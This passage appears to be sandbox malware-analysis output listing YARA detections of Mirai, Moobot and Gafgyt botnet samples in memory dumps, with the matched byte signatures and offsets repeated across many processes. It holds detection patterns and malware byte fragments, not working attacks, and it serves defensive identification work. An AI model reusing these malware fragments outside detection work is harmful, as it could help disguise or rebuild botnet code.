2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6466.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6985.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6985.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6985.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6985.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6985.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6985.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7187.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6880.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6880.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6880.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6880.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6880.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6880.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6321.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6321.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6321.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6321.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6321.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6321.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6717.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6717.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6717.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6717.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6717.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6717.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7163.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6539.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7392.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6648.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6648.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6648.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6648.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6648.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6648.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6633.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6633.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6633.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6633.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
